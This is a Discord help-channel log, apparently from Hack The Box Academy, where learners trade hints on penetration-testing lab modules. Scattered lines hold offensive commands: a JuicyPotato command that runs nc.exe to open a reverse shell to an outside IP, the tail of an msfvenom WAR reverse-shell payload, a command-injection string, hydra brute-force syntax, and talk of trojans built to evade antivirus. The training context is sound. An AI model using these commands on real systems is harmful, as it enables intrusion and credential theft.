yes but I misunderstood the instructions

[unique ether]

just printed one of the sections my eyes are tired now

[fathom pendant]

printed?

bro who uses printers anymore

[cunning quarry]

just a genral question if we do a nmap on a target in htb we have to put it in our etc host right?

[unique ether]

company has so use

lol

[cloud urchin]

no... nmap doesn't really have much to do with the hosts file.. unless you're trying to scan a hostname

[cunning quarry]

im doing the Skills assessment on INfo gathering and do have a hostname i should nmap

[fathom pendant]

info gathering you don't need to scan with nmap afaik

you'll need to use the other techniques presented in the module

[cunning quarry]

like go buster?

[fathom pendant]

the hostname is for you to dig into as a web interface

i believe it's also a public_ip:port no?

[quasi wave]

hi I have a question involving content that is blocked on the server potentially because it could be a spoiler. anyone I can DM?

I would be really grateful

its regarding the password mutations section of the password attacks module

[ocean night]

Certainly including too much detail there queuemark

See the recently pinned comment

[quasi wave]

I don't see it

[fathom pendant]

don't see why there'd be anything blocked on a server?

[ocean night]

Click Pinned Messages

[quasi wave]

ok

[fathom pendant]

unless you're saying the download isn't going through?

i genuinely don't recall any sort of blocking in place aside from ports shutting down from hammering too hard

[ocean night]

It's due to a match on content in the post as a block for another reason.

[fathom pendant]

ah

misunderstood

words are hard

[dim wolf]

i only see the section name and module

[quasi wave]

So I initialized the database for metasploit its still saying no active db when I run the exploit.

[fathom pendant]

that's nothing to really do with anything

[quasi wave]

why is it not letting me run the exploit?

[fathom pendant]

i don't recall using metasploit to crack the password

i'm sure you could

but i used hydra

and focused on one of the other ports not mentioned by the question

[quasi wave]

hydra isn't working in my case neither is crackmapexec

[fathom pendant]

that's odd

[quasi wave]

both hydra and crackmapexec are simply going too slow

its too long of a time. I'm thinking maybe I should install parrot OS in a VM and see if that does it

[ocean night]

Gave all the advice you need in our chat TBH

[fathom pendant]

i mean

[ocean night]

but someone else maybe can put it in different words

[fathom pendant]

you can use moar threads with hydra

the maximum stable threads i've found is 48

[quasi wave]

my pattern is I try stuff and don't get it one day and sometimes I need to sleep on it

so I'm just gonna do that and try again tomorrow

because maybe I just need a break

[fathom pendant]

¯_(ツ)_/¯

[lusty thicket]

doesn’t seem to be working

[fathom pendant]

let's not put him down for it

likely just a slight change in thinking is in order

[quasi wave]

I think I got up earlier than usual today I'll try again tomorrow. I was working on it.

[fathom pendant]

it shouldn't take more than like 30 minutes at most

it's all about having the patience to wait for it to do its job

[quasi wave]

ok you know what I will try the 48 threads thing

see if it does it. I will just go back and do something else for 30 minutes

since I don't want to just give up on this

I sometimes overthink simple things like this

so we'll see I'll hopefully get it by the end of the night

[fathom pendant]

something generally helpful for hydra syntax:
hydra -(l | L) user[.list] -(p | P) password[.list] [protocol]://(ip | hostname) -t <threads>

[quasi wave]

I already did that and set it to 48 threads

[fathom pendant]

also don't conflate actual time with the reported expected time

the expected time is just if it has to go to the last entry in the list

[pure apex]

I think I've found the issue, and I would like to ask for some guidance from my seniors. When creating a Golden Ticket, the SID should theoretically come from the domain SID. However, in a well-known training material, they use Mimikatz to extract the SID from a non-DC workstation and use it to create the ticket. Their method actually works, which caused some confusion when I was trying different approaches in HTB's advanced modules. Could you provide me with some guidance? Thank you all

[cloud urchin]

a SID is just a unique identifier given to computers, users, and certain objects.

[cunning quarry]

im doing info gathering final one

and my whois is not working '

this is not working

[cloud urchin]

htb isn't a real tld, so the whois command doesn't know how to proceed

[cunning quarry]

but i put it in my host files

[cloud urchin]

that just allows you to resolve the host

[cunning quarry]

and it says to use who is

[cloud urchin]

ok but the whois server you're querying doesn't know what the .htb tld is because it's not real

[fathom pendant]

Only for the first question about .com

As inlanefreight.com is a real website

whois can only query registered domains

[cunning quarry]

im struggling to get this one

[fathom pendant]

Yeah

whois won't get the system architecture or anything

You'll need to dig a bit to figure it out

Also did you try just looking at response headers?

As stated by the question it's not looking for a version

Just the framework

[swift warren]

Do y'all ever get the issue of the VPN going stale and having to be restarted? It's usually not a huge deal but some of the sqlmap commands take a metric ton of time where they eventually fail, so I was wondering if anybody had a fix for it.

[storm elk]

English please

[shut quest]

Not sure how your English is but #rules see 5

[shut quest]

Personally no. Try changing your connection from udp to tcp

[hybrid shale]

Well thank you very much

[swift warren]

I'll give that a go

[hybrid shale]

I will try to increase my programming experience with you, but in the English language

I expect that you should add the Arabic language

[fathom pendant]

The server has no plans to stop being English only as a majority of staff and mods speak English

[hybrid shale]

Is there any hope that you will add a special section for Arabs in the future?

[tired garnet]

is it possible that the questions in module 18 section 80 got placed in the wrong section? they seem to be practice exercises for another topic than the one taught in that module

[fathom pendant]

No

[hybrid shale]

🌹Thanks

[fathom pendant]

What module is that?

[hybrid shale]

I will try to speak through the translator

[fathom pendant]

In future use the module and section name not their numbers

[shut quest]

18

[vagrant osprey]

Getting Started --> Knowledge Check
https://academy.hackthebox.com/module/77/section/859

My reverse shell isn't connecting. I used the same php as in the previous box (nibbles) with minor adjustments to suit this new box, but when i go to gettingstarted and the ip address as urls, neither one creates the reverse shell in my terminal, where nc -lvnp 4444 is waiting. What would you suggest looking into or trying?

[tired garnet]

linux fundementals - filter contents

[fathom pendant]

Since you're writing it into an existing php block you don't need to prefix it with <?php

You also need to visit that specific page to trigger it

[vagrant osprey]

wdym by visit that specific page

dont i just have to go to the gettingstarted / ip addr page?

[fathom pendant]

No

You have to go to the page hosting the php file

[vagrant osprey]

I removed the php prefix/suffix, still no

[vagrant osprey]

ohhhh

I went to that, it just states the text that I put in as a php file

[fathom pendant]

Then you goofed it

[vagrant osprey]

That's fun

[fathom pendant]

Php statements need to end in a ;

[vagrant osprey]

it has one

[shut quest]

All of those commands were already discussed in a prior section, you need to string the prior learning with this. See the system information section.

[fathom pendant]

But try wrapping it back in the pre/suffix

[vagrant osprey]

i tried that, it made the text go away but still no reverse shell

[fathom pendant]

Oh

Dude

Your ip is wrong

[vagrant osprey]

AGAIN

[fathom pendant]

Your ip goes in the nc part

[spring raft]

I need hint on last question of
Password Attacks - Pass the Ticket (PtT) from Linux -
Question:- Use the LINUX01$ Kerberos ticket to read the flag found in \DC01\linux01. Submit the contents as your response (the flag starts with Us1nG_).

I already have the ticket of LINUX01$, i can access the flag under \DC01\linux01.
I have the output but it doesn't work.

[fathom pendant]

I think there's a nonprintable character at the start

It's why it specifies what it starts with

[spring raft]

ok

How to get the file which is nonprintable? 😦

[fathom pendant]

You can't

Just copy the text starting at that

[vagrant osprey]

AYY IT WORKED! That was the problem, I wasn't using my IP; also, I needed the php pre/suffixes

[fathom pendant]

Don't copy that extra character before Us1nG_

[spring raft]

it starts with "s"

[fathom pendant]

Nope

It's telling you what phrase to start your copy from

[spring raft]

ok

[fathom pendant]

Copy Us1nG and everything after it

[spring raft]

ok

Didn't work, Can i DM you?

I fixed it. @fathom pendant Thank you

[quasi wave]

hydra has tried more than 5134 tries in 47 minutes

so far

how much longer should I give it?

more than 88000 more to go it says

is this just a tedious thing to learn to deal with?

I mean I went and took a 40 minute sits bath and its still going

[vagrant osprey]

same module, why would I get a 200 OK message on the transfer, but then have it say i dont have permission to write in LinEnum (when im not even writing in it, just trying to transfer it over?)

[fathom pendant]

Write error because you don't have permission to write files in the directory you're in

200 is just a status code stating the file was retrieved, nothing to do with anything after retrieval -- like writing a file

[vagrant osprey]

fixed it

[fathom pendant]

When you download or copy a file you're essentially writing a new file as your current user

[vagrant osprey]

i did the chmod +x on my vm before starting the http.server

[fathom pendant]

That generally shouldn't have anything to do with it

[quasi wave]

I stopped attacking ssh with hydra and started attacking ftp with hydra because attacking smb with it wasn't working

here's the error it gives me:

[ERROR] Not an FTP protocol or service shutdown: 421 There are too many connections from your internet address.

[fathom pendant]

Ssh is a painfully slow service

[fathom pendant]

Means too many threads

[quasi wave]

ok

[quasi wave]

ok

[fathom pendant]

I'd suggest restarting the target

[quasi wave]

ok restarting target

we'll see if attacking ftp works

[coral trench]

Hey Guys im struggling in module "Injection Attacks" section "XPath - Advanced Data Exfiltration" i tried with 2nd positon to make its value 2 as the example in the module but didnt find then tried 3 but didnt find flag too , am i doing something wrong ?

[storm elk]

Look further

[coral trench]

i used burp intruder but nthing

or you meant further in depth?

[storm elk]

Further in depth

[vagrant osprey]

I ran ./LinEnum.sh, where in the output am I supposed to see what file I can write to without root access?

because there is TONS of output and i have no idea where i'm supposed to be looking

I tried
./LinEnum.sh | grep .sh
to look for just .sh files, but that didn't work

I did the echo writing to the .bash_history file, thinking that's what I had to try to execute (i have no idea how, it's the only thing that looked somewhat right) but that hasn't led to any success

[shut quest]

whoami, and ls -la will become second nature to your fingers. Also /tmp.

If you're struggling with these things I highly suggest you take a good hard look at the Linux fundamentals module.

[vagrant osprey]

Thank you! yeah, i tried ls -alh, but i couldn't find any .sh files. ls -la didn't show any either, unfortunately

[oak lance]

Hey guys, I need a hint on the Skills Assessment section of the CrackMapExec module. I've got my first credentials, and then used that to gain a second credential. The second credential has access to an addition RO share, but I couldn't find anything useful in that. I can escalate both users to administrator in SQL but can't execute shell commands or access any of the non-standard dbs.

[shut quest]

Haven't done the module yet, but use cme to get a list of users and descriptions?

Assuming AD

[quasi wave]

hi guys I got the flag

[oak lance]

I have a list of users but I can only get 3 descriptions.

[full wagon]

I must aks, the footprinting lab Medium. I have enumerated the info I can find, || got creds so that I can log in as administrator, but dont fully understand the question || find the password for username HTB. || I'm going through the database but cannot find any user named HTB. I check on the server, but cannot find such user. since I can connect remotely as admin, I guess I just would need a pointer in the right direction to make me understand what to look for. || thank you!

[oak lance]

Did you read the hint? I'm stretching to remember but I think it was obvious once I'd read that.

That should go into #1234357888114364508

[tired garnet]

nvm im dumb

I was running it from pwnbox instead of target box

[oak lance]

That'll do it.

[full wagon]

Going though || the SQL server logs, but not sure if it´s supposed to be there.. ||

[oak lance]

I can't remember and wasn't taking notes. I have memories of finding it in the app after that hint but can't remember where.

[full wagon]

ok thanks, will keep looking 👍

[ionic minnow]

Hi, I need some help on Attacking Common Services - Easy. I've been trying to enumerate the SMTP username, I have also increase the timeout time to 25 seconds still nothing username appear. Here are my commands ||smtp-user-enum -M RCPT -U users.list -D inlanefreight.htb -t <target-ip> -w 30||

[autumn pilot]

double check if you are connected to the vpn

[ionic minnow]

vpn is connected, I can ping and nmap the target with no issue

I will try reset the target and vpn

[zenith canopy]

@shut vapor @quiet trout thank you for the response guys

[stark lark]

@fathom pendant how far are u with AEN?

[wintry gorge]

can anyone help me out on the windows lateral movement module?

[limpid hemlock]

Hey anyone knw where to look for the flag once inside tomcat in attacking tomcat module

[safe star]

Use the find or locate command

It’s also in the most common place where flags are

[pseudo kiln]

anyone else had this issue with LaZagne in the windows priv esc module ?

i managed to ||decrypt the password manually with python, but weird in the solution it shows lazagne automatically decrypting it ||

[sacred jacinth]

Just a question out of curiosity:
Footprinting - Easy Lab.
(I have completed the lab)

||When connecting to the FTP server and performing ls it doesn't list the directory and states:||
||Entering Extended Passive Mode ||
||Opening ASCII mode data connection for file list||

||I used mlsd to transfer the id_rsa but is there a way to make ls start working? I tried running passive and binary but to no avail.||

[limpid hemlock]

Cant find it anywhere

[wintry gorge]

the flag has a weird name, like flag_234k2h42i3u4.txt
Try find / -iname flag* 2> /dev/null

[limpid hemlock]

I cant seem to find it to cat it anywhere

Found it thanks

[silk lagoon]

Hey guys, for Shells & Payloads Live Engagement;

Can't some to get reverse shell, things I done so far:

LHOST=GeneratedTargetIP LPORT=7777 -f war -o shell.war``` 

on msfconsole using multi/handler, I set the LHOST and LPORT to the same as the shell file

when uploeading on the manager page (WAR file to delpoy) should get a connection but I don't.

Did I miss anything?

[autumn pilot]

LHOST is the IP address from the tun0 interface and not the target machine's IP address

[silk lagoon]

is that bc the target ip address thats given is just to connect to the foothold machine, but the machine itself has a different ip to connect too?

[autumn pilot]

well, then use the jump host's IP address that allows the communication to the service you will be abusing

which likely will be internal

[dull herald]

Hello i need help about Active Directory Enumeration & Attacks - Internal Password Spraying - from Linux, i now how to spray password with kerbrute but when i try this command "./kerbrute_linux_amd64 passwordspray -d attack01.local --dc 10.129.187.240 jsmith.txt Welcome1" it says there is no kdc. I enum the host with nmap but there is no 88 and smb protocol working just 3269 and ssh. How to pass this section PLEASE HELP

i manually added the domain name /etc/hosts because there is no domain name on host.

[autumn pilot]

connect to the target host with the given credentials

[dull herald]

yea i did that

but what is the domain name ?

[autumn pilot]

The same used across the sections/module

There are multiple ways to get the domain name

[dull herald]

i use domainname command and returns (none)

can you show me how to do this section, i'm sure my command is absolutely true

hostname is ea-attack01
domainname is none i stuck

[autumn pilot]

focus on the domain and the dc ip

if you fix them you will get the answer for the question

Ask yourself if the 10.129.x.x IP is actually the domain controller or not

[dull herald]

okay i will nmap for the ip like this 10.129.x.0/24, I hope gives me the domain controller IP

[autumn pilot]

this will not help you

authenticate to the target machine and then use nmap to find the domain controller

[dull herald]

i authanticate and run the nmap on the target machine then i found 10.129.x.177 but there is no domain name anyway...

still stuck

[spring lily]

Attacking Authentication Mechanisms Skills Assessment PLEASE, WHAT'S WITH THIS ASSESSMENT

[dull herald]

Still need help

[buoyant roost]

hey yall, im doing the Pentester module, but got stuck on the SMPT enumeration, the question is:
Enumerate the SMTP service even further and find the username that exists on the system. Submit it as the answer.
I've been at it for the last 6 hours still cant find the username, tried everything including msfconsole and the previous lections as well as the web, can I get some help

[acoustic owl]

What exactly do you want to know?
What you need for the solution was previously discussed in the module.

[acoustic owl]

I'm not sure if this is that lesson, but remember that sometimes a mail server takes longer to respond. Maybe you need to adjust the waiting time a bit

[faint geode]

If you ssh in 10.129.x.x maybe inside of there there's other IPs? 🙂

Hint: there's tools available once you ssh into the 10.129.x.x for a reason

Just did that section yesterday and can say your close

[plain cosmos]

i'm having trouble on "injection attacks" section skill assessment, can someone give me a nudge.

[old oasis]

sure DM

[buoyant roost]

yes i finally got it !!!! thx

[marsh echo]

hello guys i stuck on windows privesc with the SeDebugprivilege i download the new script of POC and did the cmd as in example but i does'nt work
https://academy.hackthebox.com/module/67/section/631

[uncut ocean]

Hey i need a help in proxyconfiguration

i am using SOCKS proxy and here i setup it also setup proxy config file

[marsh echo]

Did you have create a fowarding port with ssh on port 9090 ?? And try with socks4

[uncut ocean]

ya ```bash
ssh -D 9090 ubuntu@10.129.29.80

but not try with socks4

i am not understand why its not working here

[marsh echo]

tried with sudo

i run with proxychains without 4

[uncut ocean]

not working bro

[marsh echo]

did you tried -p- option ? with thread or port udp or -sS option ... and the conf file of proxychains Is this the file you're modifying? /etc/proxychains.conf

[rustic sage]

Guys I need help with skill assessment of the pivoting module, I cannot rdp to .6.25, with vfrank user I don't know what I am doing wrong I checked the proxy and everything works well

Please let me know if I forgot something!!

[sly kelp]

is academy payment system having an issue ?

[dapper moth]

Anyone for a nudge on the Advanced SQL Injection Skills Assessment.
I made a script to give me a filtered end payload which should work upon source code logic but even with a basic tautology I can't seem to get it to return true.

[placid edge]

Anyone done HTTP Response splitting i can dm?

stuck on final part

in module HTTP attacks

[rustic sage]

I'm doing the web enumeration module, and even when I copy and paste the solution from HTB. I get wildly different responses

[rustic sage]

Plz don't forget me

[shut vapor]

Is RDP open?

[grand solar]

for Windows Server - Dealing with EOL systems - Window privilege escalation, does the smb_payload from metasploit not work? i tried a couple of times but cant get a connection from the machine to metasploit

[marsh echo]

anyone ?

[zinc loom]

Use the "dns_exf" index and the "bro:dns:json" sourcetype. Enter the attacker-controlled domain as your answer. Answer format: _.*

Have you finished this? I have used certain commands, but I am having trouble finding a domain that matches the format (2 words. Ex: my.domain)*

Thankyou!

[grand solar]

try the other method?

with procdump and mimikatz

[limber surge]

need some help w xss skill assessment. i got the part on GET /myscript.js, followed by closing but nvr get any flag

[marsh echo]

I succeeded with mimikatz but why does it use the psgetsys script knowing that it doesn't work and it's still taught in the course.

[full wagon]

I'm sorry but this makes no sence to me. I have read up on || SQL Server Management Studio, I know I'm supposed to be able to see the last xx entries, etc. I've checked all relevant columns I can think of, but it's like looking for a needle in a haystack. I've read the hint, which doesn't help me anything since I am clicking around like crazy. || I do not just want to finally find the user, but rather understand WHY if was hidden just there, get some logic around it. Anyone? DM is fine if you don't want to spoil for others. I'm not after the exam, just going through the corse to learn.

[latent helm]

Someone finished sliver c2 module?I need help! Thank you all

[runic dragon]

Hello guys, anyone did task 1 from intro to assembly language module? I think my flag is right but doesnt seem to work ; (

[fathom pendant]

ls -la

Hidden files

[fathom pendant]

Have you tried right-clicking?

[fathom pendant]

Look for internal networks

[gray yacht]

I would review Port Forwarding with Windows Netsh section.

[fathom pendant]

Finished it

[marsh echo]

hey marcie how are you ?

[mint hound]

Hi, I am having some issues with HTTP Attacks - HTTP Response Splitting. I need a little push in the right direction, could someone please assist me with this one? DM please 🙂

[marsh echo]

I succeeded with mimikatz but not with what he proposes in the course https://academy.hackthebox.com/module/67/section/631

[placid edge]

possible to dm you?

[storm elk]

Sure

[fathom pendant]

I don't recall what I did tbh

I think I just did the procdump tool

[marsh echo]

were you able to become a nt system with the psgetsys poc?

[fathom pendant]

Didn't bother with getting system

[vale nymph]

hi

can i use HTB on chromebook

[dim wolf]

you can access the website on Chromebook

[marsh echo]

mhmm okay I'm curious to know if anyone has managed to make this poc work because they say to practice with the new version but it does not work it's been 4 hours I'm stuck on it

[dim wolf]

not sure about connecting to the VPN though. you can use Pwnbox instead

[fathom pendant]

I mean it looks like you pass it a PID and a command to run

[vale nymph]

i can connect the openvpn from the virual linux machine

but its not connected to the browser of chromebook

[fathom pendant]

Chromebook will be slightly limited

As they are on ARM architecture as well from what I recall

[vale nymph]

so i dont know in challanges that involve websites how to go through

[fathom pendant]

You mean 10.129.x.x?

[marsh echo]

yes that's what I did I even put the name of the process winlogon.exe but nothing

[fathom pendant]

... you put in the name of the command you want it to run

[marsh echo]

??? in the example, it is shown that we are doing this command : .\psgetsys.ps1; [Myprocess]::CreateProcessFromParent((Get-Process "winlogon").Id, "c:\windows\System32\cmd.exe", "") and it launches a shell for us

i tried lssas too

nothing

[fathom pendant]

... read the actual how to use

There's a note in the module that states there was an update

https://github.com/decoder-it/psgetsystem

[marsh echo]

thx ..

I thought it was the code that had to be upgraded, not the order 😭

[sacred jacinth]

oh man am I dumb 🤦‍♂️ thanks marcie!

[fathom pendant]

Sneaky hidden files

[sacred jacinth]

made me lose my mind for almost half an hour ngl

[fathom pendant]

Yeah, they'll do that

[marsh echo]

super thx

[wild sage]

need some help with Command Injections, Bypassing Other Blacklisted Characters. Trying to see what the user is in the /home directory. I've been trying to follow the module, but keep getting the successful ping and no other output

my command is ip=IP%(bypassing character)${HOME:0:5}${IFS}

[fathom pendant]

Wide desktop

[fathom pendant]

You need to run a command to ls

Second why are you splicing?

On your own linux machine run echo ${HOME:0:5}

[marsh echo]

/dynamic-resolution ahah

[fathom pendant]

Also if you're www-data they might not have a home

The splicing is generally to get one character like ${PATH:0:1} will almost always give a /

[full wagon]

Yeah... maybe I'm just blind but right clicking doesn't help me...

[fathom pendant]

are you right-clicking the table?

:)

[full wagon]

I got logged out during dinner will go in again and check.

[fervent adder]

Hey everyone, does someone else has the same problem as me: I use Virtual Box run a VM with Parrot OS, I launch the OpenVPN file on the VM and SSH into the htb-student. But when I get in, everything seems to be so slow and sluggish on the terminal, I type a command and it begins to type it 2 seconds later. Sorry if there's a already been a discussion about this in discord server. But seems like i haven't found it. Thx in advance!

[fathom pendant]

change vpn region

[fervent adder]

And then download the UDP file again and change it?

[zinc loom]

Hello @lucid mountain Have you completed this challenge? If so, can you provide steps or SPL to solve this challenge?

[fervent adder]

I've tried that method, still the same.

[fathom pendant]

tcp file

[fathom pendant]

we don't share solutions here

we share nudges and pointers in the right direction

[zinc loom]

Yup, i just need nudges & pointers as you said. Can u help me?

[fervent adder]

Tried also. Should i just do it in the browser then?

Is there a benefit of doing it in your own created VM?

[fathom pendant]

could be your network I've only ever had slowness issues like once ¯_(ツ)_/¯

[fathom pendant]

Less risk

As you're gonna be constantly opening and closing ports for file transfers and other funny business

Don't want to compromise your host security

[fervent adder]

Got it guess I have to endure it then.

[sly trench]

Guys im in pentester path, password attacks, module "passwd, shadow, passwd" , I found passwd.bak and shadow.bak, I did the command unshadow passwd.bak unshadow.bak > unshadowed.hash
Hashcat is taking so long, I don't even know if there's something wrong with the program or it's supposed to be going for so long

[hexed lintel]

I think you need to you mutated password

[sly trench]

🤔 but the module didn't do anything with mutated passwords

And hashcat keeps running, it's not that it can't find the password or something

Also John keeps running

[hexed lintel]

It should work with the mutated password

[gray yacht]

It did in a previous section.

[fathom pendant]

*section

Lol

[gray yacht]

Yeah I noticed it, lol.

[fathom pendant]

Using the right wordlist helps

[topaz lantern]

Why is xfreedrp not working for me

[sly trench]

Why doesnt hashcat tell me no password match the hash?

Because if it's the word list it should try all of the passwords and tell me none match the hash

But it keeps not doing it

[gray yacht]

It will by saying exhausted.

[sly trench]

Can I dm

[gray yacht]

Also if speed is an ongoing issue, you can always try cracking from you host instead of the VM.

[gray yacht]

Sure I have a couple of minutes.

[quiet trout]

would someone mind taking a look at my XXE attack request data from the Web Attacks module and tell me why its not working?

https://academy.hackthebox.com/module/134/section/1206

we're covering reverse shells for XXE RCE and the previous section, after covering a variety of other XXE paylaods, covered a very simple RCE in the information segment that i couldnt get to work (i assume not to make the target more vuln than needed)

but in this section part of the exercise requires an attack of this type and I am still unable to get it working, though i think my payload and request data is correct

basically i cant get the target to download my dtd

oh wait i might've messed up the scheme

nvm, i did mess up the scheme but it seems that its still not working -_-

[gray yacht]

Have you tried both methods?

[quiet trout]

i havent tried the error based yet, as im not there yet trying to get results as i encounter them, but the exercise says both ways work, so im a little miffed

[gray yacht]

I would try both first.

[quiet trout]

right, but i'll still end up with a non working payload that the lab says should work?

[wild sage]

I've reverted the injection to be ip=(Injection Character)${IFS}{ls,-la}${HOME} and I get output for the previous question. I know I'm missing something, but can't place my finger on it

[gray yacht]

You won't know if the other doesn't work until you try it. If the other method doesn't work, feel free to DM and I will look at your setup.

[fathom pendant]

Well home 0:5 gives you /home

[quiet trout]

thx, checking now

[fathom pendant]

It's just understanding how the splicing works

[stark lark]

Nice how was it?

[full wagon]

Got it finally, thank you for your patience 🙂

[unkempt rune]

Am I the only who has broken machine?

https://academy.hackthebox.com/module/134/section/1186

Im doing this model and I cant get successful output from CURL commands from this mode. Bash script also doesnt work for me

||```bash
#!/bin/bash

url="http://XX.XXX.XX.XX:XXXXX"

for i in {1..20}; do
for link in
$(curl -s "$url/documents.php?uid=$i" | grep -oP "/documents.*?.txt"); do
wget -q $url/$link
done
done

This is the script Im using.

Also, when I open "Documents" link, my URL doesnt containt "uid" parameter like its written out in module

[safe star]

Try curl -O instead of wget -q

[timber hatch]

Windows Privilege Escalation Skills Assessment - Part I
CMD C:\windows\system32\inetsrv> C:\Users\Public\juicypotato.exe -l 55678 -p c:\windows\system32\cmd.exe -a "/c C:\Users\Public\nc.exe 10.10.15.88 8443 -e cmd.exe" -t * -c {7A6D9C0A-1E7A-41B6-8284-C3F7A27BA381}
Testing {7A6D9C0A-1E7A-41B6-8284-C3F7A27BA381} 55678
COM -> recv failed with error: 10038
[+] calling 0x000000000088ce08

somebody knows what is wrong?

[gray yacht]

You could also try a different file using CDATA.

[unkempt rune]

Doesnt work

neither did command:

||curl -s "http://SERVER_IP:PORT/documents.php?uid=1" | grep "<li class='pure-tree_link'>"||

[safe star]

I don’t think you can get reverse shells on some of them, just web

[fallen lantern]

Hey i m planning to take macbook air m3 16gb 512 gb what say ?

[safe star]

It’s usually the ones that start with 80-90 and a random port number

[quiet trout]

hey i finally got it, both ways. it wasnt immediatley clear that the external dtd varaible needed to be appended below its definition in the XML source code... it was demonstrated but not defined why it was there... i thought that was the actual entity reference in the data structure not an additional reference required to load the data... dunno if im describing that right

[quiet trout]

Sorry I worded that poorly i was trying to get external dtd inclusion from a pwnbox hosted dtd file

[safe star]

The last command should work with curl -O

Did you check every file in ur directory

[quiet trout]

if you had errors in your source that you've fixed since launching your web server, be sure to close it and restart it... ive had issues like that. something to keep in mind.

[unkempt rune]

it just dont. It downloads document.php page

[dapper moth]

No one for a nudge on the Advanced SQLI Skills Assessment?

[unkempt rune]

what source?

[quiet trout]

something that also isnt discussed is whether DTD priority (or perhaps idempotency) exists...whether I can overwrite a DTD inline in XML source, or from another competing DTD? is that possible?

or even whether DTD's can co-exist.. an external DTD is loaded but my inline DTD has entities i create and try to custom use

[gray yacht]

I doubt it is broken.

[gray yacht]

Have you looked at an intercepted request?

[unkempt rune]

yes

even there I cant see uid in URL or any request

[unkempt rune]

see? there is no any uid in URL

[wintry iris]

Hello, I am working on the COMMAND Injection -> character shifting part

echo $(tr '!-}' '"-~'<<<[)

For this command, I don't understand why the output is a backslash, obviously the '[' character is not in the source character set, how can it be translated to a backslash?

can someone explain it to me, thanks

[gray yacht]

I would double check your burp request and response.

[unkempt rune]

okay, there is. Checked it again and found it

but anyways, final bash script doesnt work

[gray yacht]

Is there something else you can do or use if that is not working?

[shut vapor]

As I understand it, all [modern?] OID's start with 1.3.6. It's like the Domain Name System where you read a domain name backwards to represent the hierarchy: www.example.com == . (root) - com (commercial) - example (domain) - www (host).

Coincidentally, I happen to be working now with SNMP today and I found this MIB (like a definition file for OID's) illustrating an NEC product's MIB starting with 1.3.6 and breaking down the elements.

So by querying 1.3.6.* you really dumped everything the system had to offer.

[unkempt rune]

was that "hint question"? Because I dont know what to try else

[gray yacht]

Burp has tools that can help you quickly perform the testing necessary for this assessment. I did not use the provided script.

[safe star]

There’s like 10+ ways to get the flag

I used python

[unkempt rune]

I literally went manually with http://IP:PORTdocuments.php?uid=XX from 1-20 @safe star @gray yacht

and it was giving me same page, without documents and .txt flag

[safe star]

Bro it’s a post request

the uid would be in the post data

[shut vapor]

Oh, actually I was wrong. I've never seen it, but there's are other assigning bodies other than ISO they can start with 0, 1 or 2.
https://www.alvestrand.no/objectid/top.html

[unkempt rune]

wym?

can you explain further?

btw I used also this python script

[safe star]

Post requests don’t use ?

[gray yacht]

Suggest looking at the Verb Tampering section again.

[unkempt rune]

import requests
import re
import os

url = "http://PORT:IP"

for i in range(1, 21):
    response = requests.get(f"{url}/documents.php?uid={i}")
    file_links = re.findall(r'\/documents.*?\.[a-zA-Z0-9]+', response.text)
    for link in file_links:
        file_url = f"{url}{link}"
        file_response = requests.get(file_url)
        file_name = os.path.basename(link)
        with open(file_name, 'wb') as file:
            file.write(file_response.content)

same sh*t, no result

[safe star]

Yeah, kinda weird how he did that but not this

[safe star]

Check your requests

[unkempt rune]

k. changed to requests.post

still same. Nothing found

[safe star]

U will notice there is no uid in the url

[stiff bone]

Hello everyone! I'm stuck on Introduction to Windows Evasion Techniques SA1. I have two different but similar developed trojans, I scanned them with both the ThreadCheck tool and YARA with the crime_wannacry.yar and apt 17 rules, and a number of other rules that I found on the Internet for msf and microshell. My trojans are not detected, they were checked for virus total, there were 7 static ML triggers. If anyone has completed this and can advise what the problem is, please write to me in DM, I've been trying to solve this task for a week now

[safe star]

The url should look like the same just without “?uid=“

[quiet trout]

this has to do with ASCII or bitwise shifting i believe its called.

the <<< is telling the terminal to "back track"

[unkempt rune]

thats whats happening

[quiet trout]

in the list of ascii chars

[unkempt rune]

thing is, none of their commands from module works, not curl, not bash, not even this python script I sent

which is SO weird. Ill just skip module lol. Fk 2 cubes

[safe star]

Did you add the post data to the script using -d

[quiet trout]

@wintry iris do you remember earlier in the module where it described the table of ascii chars and their octal/hex/etc values?

[wintry iris]

yes

so I still don't get it

tr A-Z a-z <<< ABC, the output will be abc

but in the case above, the input char '[' in not in the source char set

[unkempt rune]

God damn. I literally ran same scritp that I already did 5-6 times, with all post requests and it worked

and there isnt any word about using POST request, not GET. Their bash script doesntr working as well

I dont wanna rant, but 0/10 module tbh.

[safe star]

They’re not gonna give u an exact copy of the example

[quiet trout]

@wintry iris ok so i interpreted this incorrectly, when i recently did this module, but the implication is still the same (just dont want to confuse you its not bitwise shifting thats something similar, with a similar operator but not the same)

anyhow, in your ABC example, tr is translating a range of chars i think it evaluates ASCI A-Z as a range, and a-z as a range then uses heredoc to take in 'ABC' and "does the math" on the range, to output the answer... does that simplify it any?

[unkempt rune]

true, but thats done in every module before this. Exact script/code that they give, it works

[safe star]

I feel like if u just used burp u would’ve found it in 1 minute

[wintry iris]

sure I understand how the TR command words and I often use it

[gray yacht]

You can see it in the page source via CTRL u or in a burp response.

[wintry iris]

but my question is the specific command in that module

[quiet trout]

ok remember the [0:5] stuff from earlier? its doing that, just with tr

[wintry iris]

i don't get how the [ char been translated to a backslash

[quiet trout]

its computing a range of chars then taking a input char and evaluating it

[wintry iris]

yes, but the [ char is not in that source range

[unkempt rune]

yea, there it is, in source. saw too late. Ty everybody for help

[wintry iris]

that's why I am confused

[quiet trout]

9-5 = 4, ] - * = / kinda like. the symbol math is not correct , just used to prove the point.

it most certainly should be?

[gray yacht]

All good, be sure to annotate that in your notes and I also suggest trying it out with Burp.

[wintry iris]

ok, I kind of get it now, will try the command in the shell

[unkempt rune]

written :). Im not good with burp, so yea, that would be good idea, training burp suite

[safe star]

I didn’t use burp for the fuzzing but you should check every request with the proxy

[gray yacht]

I can steer you in the right direction with Burp if you want. Just send a DM whenever you have time.

[quiet trout]

! = decimal 31 , } = decimal 125. 125 - 32 = 93 [

@wintry iris ^ its doing ascii symbol math, hope that helps, i thought tr was for trimming i didnt know it could do calculations like this, very handy. its like substring.IndexOf(); in programming

[safe star]

Did u do the web proxies module?

[unkempt rune]

will do tomorrow, gotta go sleep. I spent so much time on this lol. Thank you

[unkempt rune]

not yet

[gray yacht]

Highly recommend!

[wintry iris]

I thought tr means translate?😆

[safe star]

It does

[quiet trout]

i just found this out, i've always heard to it referred to as trim

but the man page clearly calls it translate, maybe thats just a nickname

[spiral lantern]

Giveaway Boat: Help

⚠️ Slash commands are still in beta so please be aware that there could be some bugs. If you find any, please report them here. To know about all my commands, use g.help instead or use dashboard! ⚠️

Giveaway Commands

